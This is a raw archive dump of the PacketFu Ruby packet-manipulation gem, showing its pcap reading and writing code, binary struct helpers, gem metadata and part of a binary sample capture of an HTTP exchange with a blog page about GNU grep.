NomethodError: undefined method `foo'... # # The config() function, however, does provide access to custom variables: # # PacketFu::Config.new(:foo=>"bar").config[:foo] #=> "bar" # obj = PacketFu::Config.new(:foo=>"bar") # obj.config(:baz => "bat") # obj.config #=> {:iface=>"eth0", :baz=>"bat", :pcapfile=>"/tmp/out.pcap", :foo=>"bar"} class Config attr_accessor :eth_saddr, # The discovered eth_saddr :eth_daddr, # The discovered eth_daddr (ie, the gateway) :eth_src, # The discovered eth_src in binary form. :eth_dst, # The discovered eth_dst (gateway) in binary form. :ip_saddr, # The discovered ip_saddr :ip_src, # The discovered ip_src in binary form. :iface, # The declared interface. :pcapfile # A declared default file to write to. def initialize(args={}) if Process.euid.zero? @iface = args[:iface] || ENV['IFACE'] || Pcap.lookupdev || "lo" end @pcapfile = "/tmp/out.pcap" args.each_pair { |k,v| self.instance_variable_set(("@#{k}"),v) } end # Returns all instance variables as a hash (including custom variables set at initialization). def config(arg=nil) if arg arg.each_pair {|k,v| self.instance_variable_set(("@" + k.to_s).intern, v)} else config_hash = {} self.instance_variables.each do |v| key = v.to_s.gsub(/^@/,"").to_sym config_hash[key] = self.instance_variable_get(v) end config_hash end end end end packetfu-1.1.11/lib/packetfu/pcap.rb0000644000004100000410000004653312573107241017262 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- module StructFu # Set the endianness for the various Int classes. Takes either :little or :big. def set_endianness(e=nil) unless [:little, :big].include? e raise ArgumentError, "Unknown endianness for #{self.class}" end @int32 = e == :little ? Int32le : Int32be @int16 = e == :little ? Int16le : Int16be return e end # Instead of returning the "size" of the object, which is usually the # number of elements of the Struct, returns the size of the object after # a to_s. Essentially, a short version of self.to_size.size def sz self.to_s.size end end module PacketFu # PcapHeader represents the header portion of a libpcap file (the packets # themselves are in the PcapPackets array). See # http://wiki.wireshark.org/Development/LibpcapFileFormat for details. # # Depending on the endianness (set with :endian), elements are either # :little endian or :big endian. # # ==== PcapHeader Definition # # Symbol :endian Default: :little # Int32 :magic Default: 0xa1b2c3d4 # :big is 0xd4c3b2a1 # Int16 :ver_major Default: 2 # Int16 :ver_minor Default: 4 # Int32 :thiszone # Int32 :sigfigs # Int32 :snaplen Default: 0xffff # Int32 :network Default: 1 class PcapHeader < Struct.new(:endian, :magic, :ver_major, :ver_minor, :thiszone, :sigfigs, :snaplen, :network) include StructFu MAGIC_INT32 = 0xa1b2c3d4 MAGIC_LITTLE = [MAGIC_INT32].pack("V") MAGIC_BIG = [MAGIC_INT32].pack("N") def initialize(args={}) set_endianness(args[:endian] ||= :little) init_fields(args) super(args[:endian], args[:magic], args[:ver_major], args[:ver_minor], args[:thiszone], args[:sigfigs], args[:snaplen], args[:network]) end # Called by initialize to set the initial fields. def init_fields(args={}) args[:magic] = @int32.new(args[:magic] || PcapHeader::MAGIC_INT32) args[:ver_major] = @int16.new(args[:ver_major] || 2) args[:ver_minor] ||= @int16.new(args[:ver_minor] || 4) args[:thiszone] ||= @int32.new(args[:thiszone]) args[:sigfigs] ||= @int32.new(args[:sigfigs]) args[:snaplen] ||= @int32.new(args[:snaplen] || 0xffff) args[:network] ||= @int32.new(args[:network] || 1) return args end # Returns the object in string form. def to_s self.to_a[1,7].map {|x| x.to_s}.join end # Reads a string to populate the object. # TODO: Need to test this by getting a hold of a big endian pcap file. # Conversion from big to little shouldn't be that big of a deal. def read(str) force_binary(str) return self if str.nil? str.force_encoding(Encoding::BINARY) if str.respond_to? :force_encoding if str[0,4] == self[:magic].to_s self[:magic].read str[0,4] self[:ver_major].read str[4,2] self[:ver_minor].read str[6,2] self[:thiszone].read str[8,4] self[:sigfigs].read str[12,4] self[:snaplen].read str[16,4] self[:network].read str[20,4] else raise "Incorrect magic for libpcap" end self end end # The Timestamp class defines how Timestamps appear in libpcap files. # # ==== Header Definition # # Symbol :endian Default: :little # Int32 :sec # Int32 :usec class Timestamp < Struct.new(:endian, :sec, :usec) include StructFu def initialize(args={}) set_endianness(args[:endian] ||= :little) init_fields(args) super(args[:endian], args[:sec], args[:usec]) end # Called by initialize to set the initial fields. def init_fields(args={}) args[:sec] = @int32.new(args[:sec]) args[:usec] = @int32.new(args[:usec]) return args end # Returns the object in string form. def to_s self.to_a[1,2].map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:sec].read str[0,4] self[:usec].read str[4,4] self end end # PcapPacket defines how individual packets are stored in a libpcap-formatted # file. # # ==== Header Definition # # Timestamp :timestamp # Int32 :incl_len # Int32 :orig_len # String :data class PcapPacket < Struct.new(:endian, :timestamp, :incl_len, :orig_len, :data) include StructFu def initialize(args={}) set_endianness(args[:endian] ||= :little) init_fields(args) super(args[:endian], args[:timestamp], args[:incl_len], args[:orig_len], args[:data]) end # Called by initialize to set the initial fields. def init_fields(args={}) args[:timestamp] = Timestamp.new(:endian => args[:endian]).read(args[:timestamp]) args[:incl_len] = args[:incl_len].nil? ? @int32.new(args[:data].to_s.size) : @int32.new(args[:incl_len]) args[:orig_len] = @int32.new(args[:orig_len]) args[:data] = StructFu::String.new.read(args[:data]) end # Returns the object in string form. def to_s self.to_a[1,4].map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) return unless str force_binary(str) self[:timestamp].read str[0,8] self[:incl_len].read str[8,4] self[:orig_len].read str[12,4] self[:data].read str[16,self[:incl_len].to_i] self end end # PcapPackets is a collection of PcapPacket objects. class PcapPackets < Array include StructFu attr_accessor :endian # probably ought to be read-only but who am i. def initialize(args={}) @endian = args[:endian] || :little end def force_binary(str) str.force_encoding Encoding::BINARY if str.respond_to? :force_encoding end # Reads a string to populate the object. Note, this read takes in the # whole pcap file, since we need to see the magic to know what # endianness we're dealing with. def read(str) force_binary(str) return self if str.nil? if str[0,4] == PcapHeader::MAGIC_BIG @endian = :big elsif str[0,4] == PcapHeader::MAGIC_LITTLE @endian = :little else raise ArgumentError, "Unknown file format for #{self.class}" end body = str[24,str.size] while body.size > 16 # TODO: catch exceptions on malformed packets at end p = PcapPacket.new(:endian => @endian) p.read(body) self<

fname) end # Takes a given file name, and reads out the packets. If given a block, # it will yield back a PcapPacket object per packet found. def read(fname,&block) file_header = PcapHeader.new pcap_packets = PcapPackets.new unless File.readable? fname raise ArgumentError, "Cannot read file `#{fname}'" end begin file_handle = File.open(fname, "rb") file_header.read file_handle.read(24) packet_count = 0 pcap_packet = PcapPacket.new(:endian => file_header.endian) while pcap_packet.read file_handle.read(16) do len = pcap_packet.incl_len pcap_packet.data = StructFu::String.new.read(file_handle.read(len.to_i)) packet_count += 1 if pcap_packet.data.size < len.to_i warn "Packet ##{packet_count} is corrupted: expected #{len.to_i}, got #{pcap_packet.data.size}. Exiting." break end if block yield pcap_packet else pcap_packets << pcap_packet.clone end end ensure file_handle.close end block ? packet_count : pcap_packets end # Takes a filename, and an optional block. If a block is given, # yield back the raw packet data from the given file. Otherwise, # return an array of parsed packets. def read_packet_bytes(fname,&block) count = 0 packets = [] unless block read(fname) do |packet| if block count += 1 yield packet.data.to_s else packets << packet.data.to_s end end block ? count : packets end alias :file_to_array :read_packet_bytes # Takes a filename, and an optional block. If a block is given, # yield back parsed packets from the given file. Otherwise, return # an array of parsed packets. # # This is a brazillian times faster than the old methods of extracting # packets from files. def read_packets(fname,&block) count = 0 packets = [] unless block read_packet_bytes(fname) do |packet| if block count += 1 yield Packet.parse(packet) else packets << Packet.parse(packet) end end block ? count : packets end end def initialize(args={}) init_fields(args) @filename = args.delete :filename super(args[:endian], args[:head], args[:body]) end # Called by initialize to set the initial fields. def init_fields(args={}) args[:head] = PcapHeader.new(:endian => args[:endian]).read(args[:head]) args[:body] = PcapPackets.new(:endian => args[:endian]).read(args[:body]) return args end # Returns the object in string form. def to_s self[:head].to_s + self[:body].map {|p| p.to_s}.join end # Clears the contents of the PcapFile. def clear self[:body].clear end # Reads a string to populate the object. Note that this appends new packets to # any existing packets in the PcapFile. def read(str) force_binary(str) self[:head].read str[0,24] self[:body].read str self end # Clears the contents of the PcapFile prior to reading in a new string. def read!(str) clear force_binary(str) self.read str end # A shorthand method for opening a file and reading in the packets. Note # that readfile clears any existing packets, since that seems to be the # typical use. def readfile(file) fdata = File.open(file, "rb") {|f| f.read} self.read! fdata end # Calls the class method with this object's @filename def read_packet_bytes(fname=@filename,&block) raise ArgumentError, "Need a file" unless fname return self.class.read_packet_bytes(fname, &block) end # Calls the class method with this object's @filename def read_packets(fname=@filename,&block) raise ArgumentError, "Need a file" unless fname return self.class.read_packets(fname, &block) end # file_to_array() translates a libpcap file into an array of packets. # Note that this strips out pcap timestamps -- if you'd like to retain # timestamps and other libpcap file information, you will want to # use read() instead. def file_to_array(args={}) filename = args[:filename] || args[:file] || args[:f] if filename self.read! File.open(filename, "rb") {|f| f.read} end if args[:keep_timestamps] || args[:keep_ts] || args[:ts] self[:body].map {|x| {x.timestamp.to_s => x.data.to_s} } else self[:body].map {|x| x.data.to_s} end end alias_method :f2a, :file_to_array # Takes an array of packets (as generated by file_to_array), and writes them # to a file. Valid arguments are: # # :filename # :array # Can either be an array of packet data, or a hash-value pair of timestamp => data. # :timestamp # Sets an initial timestamp # :ts_inc # Sets the increment between timestamps. Defaults to 1 second. # :append # If true, then the packets are appended to the end of a file. def array_to_file(args={}) if args.kind_of? Hash filename = args[:filename] || args[:file] || args[:f] arr = args[:array] || args[:arr] || args[:a] ts = args[:timestamp] || args[:ts] || Time.now.to_i ts_inc = args[:timestamp_increment] || args[:ts_inc] || 1 append = !!args[:append] elsif args.kind_of? Array arr = args filename = append = nil else raise ArgumentError, "Unknown argument. Need either a Hash or Array." end unless arr.kind_of? Array raise ArgumentError, "Need an array to read packets from" end arr.each_with_index do |p,i| if p.kind_of? Hash # Binary timestamps are included this_ts = p.keys.first this_incl_len = p.values.first.size this_orig_len = this_incl_len this_data = p.values.first else # it's an array this_ts = Timestamp.new(:endian => self[:endian], :sec => ts + (ts_inc * i)).to_s this_incl_len = p.to_s.size this_orig_len = this_incl_len this_data = p.to_s end this_pkt = PcapPacket.new({:endian => self[:endian], :timestamp => this_ts, :incl_len => this_incl_len, :orig_len => this_orig_len, :data => this_data } ) self[:body] << this_pkt end if filename self.to_f(:filename => filename, :append => append) else self end end alias_method :a2f, :array_to_file # Just like array_to_file, but clears any existing packets from the array first. def array_to_file!(arr) clear array_to_file(arr) end alias_method :a2f!, :array_to_file! # Writes the PcapFile to a file. Takes the following arguments: # # :filename # The file to write to. # :append # If set to true, the packets are appended to the file, rather than overwriting. def to_file(args={}) filename = args[:filename] || args[:file] || args[:f] unless (!filename.nil? || filename.kind_of?(String)) raise ArgumentError, "Need a :filename for #{self.class}" end append = args[:append] if append if File.exists? filename File.open(filename,'ab') {|file| file.write(self.body.to_s)} else File.open(filename,'wb') {|file| file.write(self.to_s)} end else File.open(filename,'wb') {|file| file.write(self.to_s)} end [filename, self.body.sz, self.body.size] end alias_method :to_f, :to_file # Shorthand method for writing to a file. Can take either :file => 'name.pcap' or # simply 'name.pcap' def write(filename='out.pcap') if filename.kind_of?(Hash) f = filename[:filename] || filename[:file] || filename[:f] || 'out.pcap' else f = filename.to_s end self.to_file(:filename => f.to_s, :append => false) end # Shorthand method for appending to a file. Can take either :file => 'name.pcap' or # simply 'name.pcap' def append(filename='out.pcap') if filename.kind_of?(Hash) f = filename[:filename] || filename[:file] || filename[:f] || 'out.pcap' else f = filename.to_s end self.to_file(:filename => f, :append => true) end end end module PacketFu # Read is largely deprecated. It was current in PacketFu 0.2.0, but isn't all that useful # in 0.3.0 and beyond. Expect it to go away completely by version 1.0. So, the main use # of this class is to learn how to do exactly the same things using the PcapFile object. class Read class << self # Reads the magic string of a pcap file, and determines # if it's :little or :big endian. def get_byte_order(pcap_file) byte_order = ((pcap_file[0,4] == PcapHeader::MAGIC_LITTLE) ? :little : :big) return byte_order end # set_byte_order is pretty much totally deprecated. def set_byte_order(byte_order) PacketFu.instance_variable_set(:@byte_order,byte_order) return true end # A wrapper for PcapFile#file_to_array, but only returns the array. Actually # using the PcapFile object is going to be more useful. def file_to_array(args={}) filename = args[:filename] || args[:file] || args[:out] raise ArgumentError, "Need a :filename in string form to read from." if (filename.nil? || filename.class != String) PcapFile.new.file_to_array(args) end alias_method :f2a, :file_to_array end end end module PacketFu # Write is largely deprecated. It was current in PacketFu 0.2.0, but isn't all that useful # in 0.3.0 and beyond. Expect it to go away completely by version 1.0, as working with # PacketFu::PcapFile directly is generally going to be more rewarding. class Write class << self # format_packets: Pretty much totally deprecated. def format_packets(args={}) arr = args[:arr] || args[:array] || [] ts = args[:ts] || args[:timestamp] || Time.now.to_i ts_inc = args[:ts_inc] || args[:timestamp_increment] pkts = PcapFile.new.array_to_file(:endian => PacketFu.instance_variable_get(:@byte_order), :arr => arr, :ts => ts, :ts_inc => ts_inc) pkts.body end # array_to_file is a largely deprecated function for writing arrays of pcaps to a file. # Use PcapFile#array_to_file instead. def array_to_file(args={}) filename = args[:filename] || args[:file] || args[:out] || :nowrite arr = args[:arr] || args[:array] || [] ts = args[:ts] || args[:timestamp] || args[:time_stamp] || Time.now.to_f ts_inc = args[:ts_inc] || args[:timestamp_increment] || args[:time_stamp_increment] byte_order = args[:byte_order] || args[:byteorder] || args[:endian] || args[:endianness] || :little append = args[:append] Read.set_byte_order(byte_order) if [:big, :little].include? byte_order pf = PcapFile.new pf.array_to_file(:endian => PacketFu.instance_variable_get(:@byte_order), :arr => arr, :ts => ts, :ts_inc => ts_inc) if filename && filename != :nowrite if append pf.append(filename) else pf.write(filename) end return [filename,pf.to_s.size,arr.size,ts,ts_inc] else return [nil,pf.to_s.size,arr.size,ts,ts_inc] end end alias_method :a2f, :array_to_file # Shorthand method for appending to a file. Also shouldn't use. def append(args={}) array_to_file(args.merge(:append => true)) end end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/structfu.rb0000644000004100000410000001765412573107241020220 0ustar www-datawww-data# -*- coding: binary -*- # StructFu, a nifty way to leverage Ruby's built in Struct class # to create meaningful binary data. module StructFu # Normally, self.size and self.length will refer to the Struct # size as an array. It's a hassle to redefine, so this introduces some # shorthand to get at the size of the resultant string. def sz self.to_s.size end alias len sz # Typecast is used mostly by packet header classes, such as IPHeader, # TCPHeader, and the like. It takes an argument, and casts it to the # expected type for that element. def typecast(i) c = caller[0].match(/.*`([^']+)='/)[1] self[c.intern].read i end # Used like typecast(), but specifically for casting Strings to StructFu::Strings. def body=(i) if i.kind_of? ::String typecast(i) elsif i.kind_of? StructFu self[:body] = i elsif i.nil? self[:body] = StructFu::String.new.read("") else raise ArgumentError, "Can't cram a #{i.class} into a StructFu :body" end end # Handle deep copies correctly. Marshal in 1.9, re-read myself on 1.8 def clone begin Marshal.load(Marshal.dump(self)) rescue self.class.new.read(self.to_s) end end # Ints all have a value, an endianness, and a default value. # Note that the signedness of Int values are implicit as # far as the subclasses are concerned; to_i and to_f will # return Integer/Float versions of the input value, instead # of attempting to unpack the pack value. (This can be a useful # hint to other functions). # # ==== Header Definition # # Fixnum :value # Symbol :endian # Fixnum :width # Fixnum :default class Int < Struct.new(:value, :endian, :width, :default) alias :v= :value= alias :v :value alias :e= :endian= alias :e :endian alias :w= :width= alias :w :width alias :d= :default= alias :d :default # This is a parent class definition and should not be used directly. def to_s raise StandardError, "StructFu::Int#to_s accessed, must be redefined." end # Returns the Int as an Integer. def to_i (self.v || self.d).to_i end # Returns the Int as a Float. def to_f (self.v || self.d).to_f end def initialize(value=nil, endian=nil, width=nil, default=nil) super(value,endian,width,default=0) end # Reads either an Integer or a packed string, and populates the value accordingly. def read(i) self.v = i.kind_of?(Integer) ? i.to_i : i.to_s.unpack(@packstr).first self end end # Int8 is a one byte value. class Int8 < Int def initialize(v=nil) super(v,nil,w=1) @packstr = "C" end # Returns a one byte value as a packed string. def to_s [(self.v || self.d)].pack("C") end end # Int16 is a two byte value. class Int16 < Int def initialize(v=nil, e=:big) super(v,e,w=2) @packstr = (self.e == :big) ? "n" : "v" end # Returns a two byte value as a packed string. def to_s @packstr = (self.e == :big) ? "n" : "v" [(self.v || self.d)].pack(@packstr) end end # Int16be is a two byte value in big-endian format. The endianness cannot be altered. class Int16be < Int16 undef :endian= end # Int16le is a two byte value in little-endian format. The endianness cannot be altered. class Int16le < Int16 undef :endian= def initialize(v=nil, e=:little) super(v,e) @packstr = (self.e == :big) ? "n" : "v" end end # Int32 is a four byte value. class Int32 < Int def initialize(v=nil, e=:big) super(v,e,w=4) @packstr = (self.e == :big) ? "N" : "V" end # Returns a four byte value as a packed string. def to_s @packstr = (self.e == :big) ? "N" : "V" [(self.v || self.d)].pack(@packstr) end end # Int32be is a four byte value in big-endian format. The endianness cannot be altered. class Int32be < Int32 undef :endian= end # Int32le is a four byte value in little-endian format. The endianness cannot be altered. class Int32le < Int32 undef :endian= def initialize(v=nil, e=:little) super(v,e) end end # Strings are just like regular strings, except it comes with a read() function # so that it behaves like other StructFu elements. class String < ::String def read(str) str = str.to_s self.replace str self end end # Provides a primitive for creating strings, preceeded by # an Int type of length. By default, a string of length zero with # a one-byte length is presumed. # # Note that IntStrings aren't used for much, but it seemed like a good idea at the time. class IntString < Struct.new(:int, :string, :mode) def initialize(string='',int=Int8,mode=nil) if int < Int super(int.new,string,mode) calc else raise "IntStrings need a StructFu::Int for a length." end end # Calculates the size of a string, and sets it as the value. def calc int.v = string.to_s.size self.to_s end # Returns the object as a string, depending on the mode set upon object creation. def to_s if mode == :parse "#{int}" + [string].pack("a#{len}") elsif mode == :fix self.int.v = string.size "#{int}#{string}" else "#{int}#{string}" end end # By redefining #string=, we can ensure the correct value # is calculated upon assignment. If you'd prefer to have # an incorrect value, use the syntax, obj[:string]="value" # instead. Note, by using the alternate form, you must # #calc before you can trust the int's value. Think of the = # assignment as "set to equal," while the []= assignment # as "boxing in" the value. Maybe. def string=(s) self[:string] = s calc end # Shorthand for querying a length. Note that the usual "length" # and "size" refer to the number of elements of this struct. def len self[:int].value end # Override the size, if you must. def len=(i) self[:int].value=i end # Read takes a string, assumes an int width as previously # defined upon initialization, but makes no guarantees # the int value isn't lying. You're on your own to test # for that (or use parse() with a :mode set). def read(s) unless s[0,int.width].size == int.width raise StandardError, "String is too short for type #{int.class}" else int.read(s[0,int.width]) self[:string] = s[int.width,s.size] end self.to_s end # parse() is like read(), except that it interprets the string, either # based on the declared length, or the actual length. Which strategy # is used is dependant on which :mode is set (with self.mode). # # :parse : Read the length, and then read in that many bytes of the string. # The string may be truncated or padded out with nulls, as dictated by the value. # # :fix : Skip the length, read the rest of the string, then set the length # to what it ought to be. # # else : If neither of these modes are set, just perfom a normal read(). # This is the default. def parse(s) unless s[0,int.width].size == int.width raise StandardError, "String is too short for type #{int.class}" else case mode when :parse int.read(s[0,int.width]) self[:string] = s[int.width,int.value] if string.size < int.value self[:string] += ("\x00" * (int.value - self[:string].size)) end when :fix self.string = s[int.width,s.size] else return read(s) end end self.to_s end end end class Struct # Monkeypatch for Struct to include some string safety -- anything that uses # Struct is going to presume binary strings anyway. def force_binary(str) PacketFu.force_binary(str) end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/metadata.yml0000644000004100000410000001773512573107241015747 0ustar www-datawww-data--- !ruby/object:Gem::Specification name: packetfu version: !ruby/object:Gem::Version version: 1.1.11 platform: ruby authors: - Tod Beardsley autorequire: bindir: bin cert_chain: - | -----BEGIN CERTIFICATE----- MIIDbDCCAlSgAwIBAgIBATANBgkqhkiG9w0BAQUFADA+MQ0wCwYDVQQDDAR0b2Ri MRgwFgYKCZImiZPyLGQBGRYIcGFja2V0ZnUxEzARBgoJkiaJk/IsZAEZFgNjb20w HhcNMTUwODI1MTQ1MzQ2WhcNMTYwODI0MTQ1MzQ2WjA+MQ0wCwYDVQQDDAR0b2Ri MRgwFgYKCZImiZPyLGQBGRYIcGFja2V0ZnUxEzARBgoJkiaJk/IsZAEZFgNjb20w ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDl/jdqB/u4WnnAV7ds6U7r kffHRJCMc1+s0lvjnWMnZuegjJkuElm0jNQnkUzNqhJGI2NVDc1COoT6VHsEPRi8 uD8po+7pisLwqUHIyx8PFu+pGSRGawEgAPT5DfEf9MwGTob1G9vm1Hv7rTMN+S1X nMIxpFwiMilhLKdoTEZAo0moFbWEVK4ZuEaNkPXGxFKEdnpyb8Fi+/akzwWtwRp1 ByJktlF3YIZgAimvY/PtV0V1n+Mktoz+706EUDe/ZnD8M+o6orzqryCiQrqdzJyk cPv7u1RuG1VPC8mK5TmB9lqlMPi/hxbjC4LfhJsZYoO1AF6baZ8HzqCISInBLwyd AgMBAAGjdTBzMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdDgQWBBS/B6/d CN84yx061Q/xqilGxY4qqTAcBgNVHREEFTATgRF0b2RiQHBhY2tldGZ1LmNvbTAc BgNVHRIEFTATgRF0b2RiQHBhY2tldGZ1LmNvbTANBgkqhkiG9w0BAQUFAAOCAQEA Oz/R618bt2/QxwL1wM6bP/yb+xNd/DR8aOUeKZwarfWuo6zhVY03qiydlElHU0YJ Rl0/JGQIHNVUzIr3J/QXv225LUECYTejPKC8LcELdfjSfUwzTd75zrGisL0//a4m +Zcv8PSfdOCug3jj5EDMVZe/sX7G4vEqM81SaQaUYFltKGk2YUrlYJsNGW6Yp4As c4y7lD0Rc4OsaoWT5ozhFBJv1qSuoL1y1qySsVazbc0jYjxm6HkVWqOd1cO5zO74 AFvBtuFFTUDdrs3M/q6ktx295osXr2XpaygJmhkMLj81xoIX9G8eEjPc/XQWDlI1 ma/kCj5vaQ3hma/0DsajCg== -----END CERTIFICATE----- date: 2015-08-25 00:00:00.000000000 Z dependencies: - !ruby/object:Gem::Dependency name: network_interface requirement: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '0.0' type: :runtime prerelease: false version_requirements: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '0.0' - !ruby/object:Gem::Dependency name: pcaprub requirement: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '0.12' type: :runtime prerelease: false version_requirements: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '0.12' - !ruby/object:Gem::Dependency name: rake requirement: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '10.3' type: :development prerelease: false version_requirements: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '10.3' - !ruby/object:Gem::Dependency name: rspec requirement: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '3.0' type: :development prerelease: false version_requirements: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '3.0' - !ruby/object:Gem::Dependency name: rspec-its requirement: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '1.2' type: :development prerelease: false version_requirements: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: '1.2' - !ruby/object:Gem::Dependency name: sdoc requirement: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: 0.4.1 type: :development prerelease: false version_requirements: !ruby/object:Gem::Requirement requirements: - - "~>" - !ruby/object:Gem::Version version: 0.4.1 description: PacketFu is a mid-level packet manipulation library for Ruby. With it, users can read, parse, and write network packets with the level of ease and fun they expect from Ruby. Note that this gem does not automatically require pcaprub, since users may install pcaprub through non-gem means. email: todb@packetfu.com executables: [] extensions: [] extra_rdoc_files: - ".document" - README.rdoc files: - ".document" - ".gitignore" - ".mailmap" - ".travis.yml" - CONTRIBUTING.md - Gemfile - INSTALL.rdoc - LICENSE.txt - README.rdoc - Rakefile - bench/after-2012-07-28.txt - bench/before-2012-07-28.txt - bench/benchit.rb - bench/calc_delta.rb - bench/octets.rb - bench/octets_after.txt - bench/octets_after_refactor.txt - bench/octets_before.txt - examples/100kpackets.rb - examples/ackscan.rb - examples/arp.rb - examples/arphood.rb - examples/dissect_thinger.rb - examples/ethernet.rb - examples/examples.rb - examples/ids.rb - examples/idsv2.rb - examples/ifconfig.rb - examples/new-simple-stats.rb - examples/oui.txt - examples/packetfu-shell.rb - examples/simple-sniffer.rb - examples/simple-stats.rb - examples/slammer.rb - examples/uniqpcap.rb - gem-public_cert.pem - lib/packetfu.rb - lib/packetfu/capture.rb - lib/packetfu/config.rb - lib/packetfu/inject.rb - lib/packetfu/packet.rb - lib/packetfu/pcap.rb - lib/packetfu/protos/arp.rb - lib/packetfu/protos/arp/header.rb - lib/packetfu/protos/arp/mixin.rb - lib/packetfu/protos/eth.rb - lib/packetfu/protos/eth/header.rb - lib/packetfu/protos/eth/mixin.rb - lib/packetfu/protos/hsrp.rb - lib/packetfu/protos/hsrp/header.rb - lib/packetfu/protos/hsrp/mixin.rb - lib/packetfu/protos/icmp.rb - lib/packetfu/protos/icmp/header.rb - lib/packetfu/protos/icmp/mixin.rb - lib/packetfu/protos/invalid.rb - lib/packetfu/protos/ip.rb - lib/packetfu/protos/ip/header.rb - lib/packetfu/protos/ip/mixin.rb - lib/packetfu/protos/ipv6.rb - lib/packetfu/protos/ipv6/header.rb - lib/packetfu/protos/ipv6/mixin.rb - lib/packetfu/protos/lldp.rb - lib/packetfu/protos/lldp/header.rb - lib/packetfu/protos/lldp/mixin.rb - lib/packetfu/protos/tcp.rb - lib/packetfu/protos/tcp/ecn.rb - lib/packetfu/protos/tcp/flags.rb - lib/packetfu/protos/tcp/header.rb - lib/packetfu/protos/tcp/hlen.rb - lib/packetfu/protos/tcp/mixin.rb - lib/packetfu/protos/tcp/option.rb - lib/packetfu/protos/tcp/options.rb - lib/packetfu/protos/tcp/reserved.rb - lib/packetfu/protos/udp.rb - lib/packetfu/protos/udp/header.rb - lib/packetfu/protos/udp/mixin.rb - lib/packetfu/structfu.rb - lib/packetfu/utils.rb - lib/packetfu/version.rb - packetfu.gemspec - setup.rb - spec/arp_spec.rb - spec/eth_spec.rb - spec/icmp_spec.rb - spec/ip_spec.rb - spec/ipv6_spec.rb - spec/packet_spec.rb - spec/packet_subclasses_spec.rb - spec/packetfu_spec.rb - spec/sample.pcap - spec/sample2.pcap - spec/sample3.pcap - spec/spec_helper.rb - spec/structfu_spec.rb - spec/tcp_spec.rb - spec/udp_spec.rb - spec/utils_spec.rb - spec/vlan-pcapr.cap - test/all_tests.rb - test/func_lldp.rb - test/ptest.rb - test/sample-ipv6.pcap - test/sample.pcap - test/sample2.pcap - test/sample_hsrp_pcapr.cap - test/sample_lldp.pcap - test/test_capture.rb - test/test_eth.rb - test/test_hsrp.rb - test/test_inject.rb - test/test_invalid.rb - test/test_octets.rb - test/test_packet.rb - test/test_pcap.rb - test/test_structfu.rb - test/test_tcp.rb - test/test_udp.rb - test/vlan-pcapr.cap homepage: https://github.com/todb/packetfu licenses: - BSD metadata: {} post_install_message: rdoc_options: [] require_paths: - lib required_ruby_version: !ruby/object:Gem::Requirement requirements: - - ">=" - !ruby/object:Gem::Version version: '0' required_rubygems_version: !ruby/object:Gem::Requirement requirements: - - ">=" - !ruby/object:Gem::Version version: '0' requirements: [] rubyforge_project: packetfu rubygems_version: 2.4.6 signing_key: specification_version: 4 summary: PacketFu is a mid-level packet manipulation library. test_files: - spec/arp_spec.rb - spec/eth_spec.rb - spec/icmp_spec.rb - spec/ip_spec.rb - spec/ipv6_spec.rb - spec/packet_spec.rb - spec/packet_subclasses_spec.rb - spec/packetfu_spec.rb - spec/structfu_spec.rb - spec/tcp_spec.rb - spec/udp_spec.rb - spec/utils_spec.rb - test/test_capture.rb - test/test_eth.rb - test/test_hsrp.rb - test/test_inject.rb - test/test_invalid.rb - test/test_octets.rb - test/test_packet.rb - test/test_pcap.rb - test/test_structfu.rb - test/test_tcp.rb - test/test_udp.rb packetfu-1.1.11/test/0000755000004100000410000000000012573107241014406 5ustar www-datawww-datapacketfu-1.1.11/test/sample2.pcap0000644000004100000410000012003112573107241016613 0ustar www-datawww-dataò;KJJ f#5p;E<8@@*m C!ڒPm*й *;K4JJ#5p; fE<@7ϥC! Pڒ/T.m+4  J*;KN5BB f#5p;E49@@*t C!ڒPm+/T/\8 * J;K5 f#5p;E՜:@@) C!ڒPm+/T/\t * JGET / HTTP/1.1 User-Agent: curl/7.18.2 (i486-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.10 Host: www.planb-security.net Accept: */* ;KBB#5p; fE4y@74C! Pڒ/T/m̀6  V*;K#5p; fEz@7C! Pڒ/T/m̀6$:  W*HTTP/1.1 200 OK Date: Wed, 30 Dec 2009 19:05:41 GMT Server: Apache Last-Modified: Mon, 28 Dec 2009 19:58:32 GMT ETag: "d4dca80-8c17-47bcf54714a00" Accept-Ranges: bytes Content-Length: 35863 Vary: Accept-Encoding Content-Type: text/html Plan B: Security, Technology, and the Law

Monday, December 28, 2009

Grep 2.5.4 breaks regular expressions syntax

Backwards compatibility is for chumps, apparently. GNU Grep version 2.5.4 fundamentally changes regular expression syntax from the 2.5.3 and prior behavior. The below demonstrates the backwards breakage between 2.5.3 (on box1) and 2.5.4 (on box2).

todb@box1:~$ grep --version
GNU grep 2.5.3

Copyright (C) 1988, 1992-2002, 2004, 2005 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

todb@box1:~$ for i in cat parrot dog monkey
> do echo $i | egrep -v '^(cat|dog)'
> done
parrot
monkey
todb@box1:~$

### Meanwhile, on a system with grep 2.5.4 ###

todb@box2:~$ grep --version
GNU grep 2.5.4

